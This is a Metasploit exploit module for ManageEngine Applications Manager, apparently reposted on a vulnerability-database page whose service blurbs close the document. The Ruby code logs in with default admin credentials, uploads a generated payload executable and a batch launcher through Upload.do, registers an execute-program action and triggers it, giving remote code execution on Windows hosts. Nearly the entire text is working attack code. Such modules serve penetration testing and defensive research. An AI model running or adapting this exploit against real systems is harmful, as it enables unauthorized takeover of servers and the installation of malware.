##
# $Id: manageengine_apps_mngr.rb 12281 2011-04-08 14:06:10Z bannedit $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize
super(
'Name' => 'ManageEngine Applications Manager Authenticated Code Execution',
'Version' => '$Revision: 12281 $',
'Description' => %q{
This module logs into the Manage Engine Appplications Manager to upload a
payload to the file system and a batch script that executes the payload. },
'Author' => 'Jacob Giannantonio <JGiannan[at]gmail.com>',
'Platform' => 'win',
'Targets' =>
[
['Automatic',{}],
],
'DefaultTarget' => 0
)
register_options(
[ Opt::RPORT(9090),
OptString.new('URI', [false, "URI for Applications Manager", '/']),
OptString.new('USER', [false, "username", 'admin']),
OptString.new('PASS', [false, "password", 'admin']),
], self.class)
end
def target_url
"http://#{rhost}:#{rport}#{datastore['URI']}"
end
def exploit
# Make initial request to get assigned a session token
cookie = "pagerefresh=1; NfaupdateMsg=true; sortBy=sByName; testcookie=; "
cookie << "am_username=;am_check="
begin
print_status "#{target_url} Applications Manager - Requesting Session Token"
res = send_request_cgi({
'method'=> 'GET',
'uri' => "#{target_url}/webclient/common/jsp/home.jsp",
'cookie' => cookie.to_s
}, 20)
if !res
print_error("Request to #{target_host} failed")
return
end
if (res and res.code == 200 and res.to_s =~ /(JSESSIONID=[A-Z0-9]{32});/)
cookie << "; #{$1}"
print_good("Assigned #{$1}")
else
print_error("Initial request failed: http error #{res.code}")
return
end
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end
# send cookie to index.do
begin
print_status "Sending session token to #{target_url}/index.do"
res = send_request_raw({
'method' => 'GET',
'uri' => "#{target_url}/index.do",
'cookie' => cookie
}, 20)
if !res || res.code != 200
print_error("Request to #{target_url} failed")
end
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
print_error("Request to #{target_url}/index.do failed")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end
# Log in with the assigned session token
post_data = "clienttype2=html&j_username="
post_data << "#{Rex::Text.uri_encode(datastore['USER'].to_s)}&"
post_data << "j_password="
post_data << "#{Rex::Text.uri_encode(datastore['PASS'].to_s)}&button=Login"
print_status("Trying to log in with '#{datastore['USER']}':'#{datastore['PASS']}'")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{target_url}/j_security_check",
'cookie' => cookie,
'data' => post_data.to_s
}, 20)
if !res
print_error("Request to #{target_url} Failed")
end
# Server responds with a 302 redirect when the login is successful and
# HTTP 200 for a failed login
if res and res.code == 302
print_good("Success:'#{datastore['USER']}':'#{datastore['PASS']}'")
else
print_error("Failed to log into #{target_url}")
return
end
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
print_error("Request to #{target_url}/j_security_check failed")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end
# initial request to upload.do
# I think this is required to upload content later on.
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{target_url}/Upload.do",
'cookie'=> cookie,
'data' => post_data
}, 20)
if !res
print_error("HTTP request to #{target_url} Failed")
end
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
print_error("Request to #{target_url}/Upload.do Failed")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end
# Transfer the payload executable via POST request to Upload.do
boundary = rand_text_numeric(11)
payload_file = "#{rand_text_alphanumeric(20)}.exe"
lines = "-----------------------------#{boundary}"
content_disposition = "Content-Disposition: form-data; name=\"theFile\";"
content_disposition << "filename=\"#{payload_file}\"\r\n"
post_data = lines + "\r\n" + content_disposition.to_s
post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
post_data << "#{generate_payload_exe}\r\n\r\n"
post_data << lines + "\r\nContent-Disposition: form-data; "
post_data << "name=\"uploadDir\"\r\n\r\n"
post_data << ".\/\r\n#{lines}--\r\n"
begin
referer = "http://#{target_url}/Upload.do"
res = send_request_raw({
'method' => 'POST',
'uri' => "#{target_url}/Upload.do",
'headers' => { 'Referer' => referer,
'cookie' => "#{cookie}\r\nContent-Type: " +
"multipart/form-data; " +
"boundary=---------------------------#{boundary}",
'Content-Length' => post_data.length},
'data' => post_data
}, 20)
if !res
print_error("Request to #{target_url} failed")
end
if res and res.code == 200
print_good("Uploaded payload #{payload_file}")
else
print_error("Response HTTP #{res.code} and HTTP 302 expected")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Request to #{target_url}/Upload.do failed")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end
# Transfer the batch sript via POST request to Upload.do
# The server will eventually call the batch script, which will call the payload.exe
boundary = rand_text_numeric(11)
bat_file = "#{rand_text_alphanumeric(20)}.bat"
lines = "-----------------------------#{boundary}"
content_disposition = "Content-Disposition: form-data; name=\"theFile\"; "
content_disposition << "filename=\"#{bat_file}\"\r\n"
post_data = lines + "\r\n" + content_disposition.to_s
post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
post_data << "@ECHO off && \"C:\\\\program files\\ManageEngine\\AppManager9\\workin"
post_data << "g\\#{payload_file}\"\r\n\r\n"
post_data << lines + "\r\nContent-Disposition: form-data; name=\"uploadDir\""
post_data << "\r\n\r\n"
post_data << ".\/\r\n#{lines}--\r\n"
begin
referer = "#{target_url}/Upload.do"
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{target_url}/Upload.do",
'headers' => { 'Referer' => referer,
'cookie' => "#{cookie}\r\nContent-Type: multipart/form-data; " +
"boundary=---------------------------#{boundary}",
'Content-Length' => post_data.length},
'data' => post_data
}, 20)
if !res
print_error("HTTP request to #{target_url} failed")
return
end
if res and res.code == 200
print_good("Uploaded #{bat_file} to execute #{payload_file}")
end
rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
print_error("Request to #{target_url}/Upload.do failed")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end
action_name = "#{rand_text_alphanumeric(20)}"
post_data = "actions=%2FshowTile.do%3FTileName%3D.ExecProg%26haid%3Dnull&ha"
post_data << "id=null&method=createExecProgAction&redirectTo=null&id=0&disp"
post_data << "layname=#{action_name}&serversite=local&choosehost=-2&host=&m"
post_data << "onitoringmode=TELNET&username=&password=&description=&port=23"
post_data << "&prompt=%24&command=#{bat_file}&execProgExecDir="
post_data << "C%3A%5CProgram+Files%5CManageEngine%5CAppManager9%5Cworking&a"
post_data << "bortafter=10&cancel=false"
# This client request is necessary because it sends a request to the server
# specifying that we are interested in executing the batch script. If
# successful, the server response body will contain an actionID that is
# used to tell the server to execute the script.
begin
referer = "#{target_url}/showTile.do?TileName=.ExecProg&haid=null"
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{target_url}/adminAction.do",
'headers' => { 'Referer' => referer,
'cookie' => cookie,
'Content-Type' => "application/x-www-form-urlencoded",
'Content-Length' => post_data.to_s.length},
'data' => post_data.to_s
}, 20)
if !res
print_error("Request to #{target_host} failed")
end
# We are parsing the response in order to determine the correct actionID.
# My solution for doing this is to iterate through the HTTP response one
# line at a time. The correct actionID always comes up several lines
# after reading the name of the batch file 3 times. Even if other batch
# files are mixed up in the list of actions to execute, ours is always
# the next one after reading the batch file name 3 times
if res and (res.code == 302 || res.code == 200)
action_id = 0
x = 0
res.body.each_line do |k|
k.strip!
if((k =~ /&actionID=(\d{8})/) && (x == 3))
action_id = $1
break;
elsif((k =~ /#{bat_file}/) && (x < 3))
x+=1
end
end
else
print_error("HTTP error #{res.code} and HTTP 302 expected")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("HTTP request to #{target_url}/adminAction.do ")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end
begin
referer = "#{target_url}/common/executeScript.do?"
referer << "method=testAction&actionID=#{action_id}&haid=null"
print_good("Requesting to execute batch file with actionID #{action_id}")
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{target_url}/common/executeScript.do?method=testAction&" +
"actionID=#{action_id}&haid=null",
'headers' => { 'Referer' => referer,
'cookie' => "executeProgramActionTable_sortcol=1; " +
"executeProgramActionTable_sortdir=down; " +
"#{cookie}; executeProgramActionTable_" +
"sortdir=down; executeProgramActionTable_sortcol=1",
'Content-Type' => "application/x-www-form-urlencoded"}
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Request to execute the actionID failed")
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation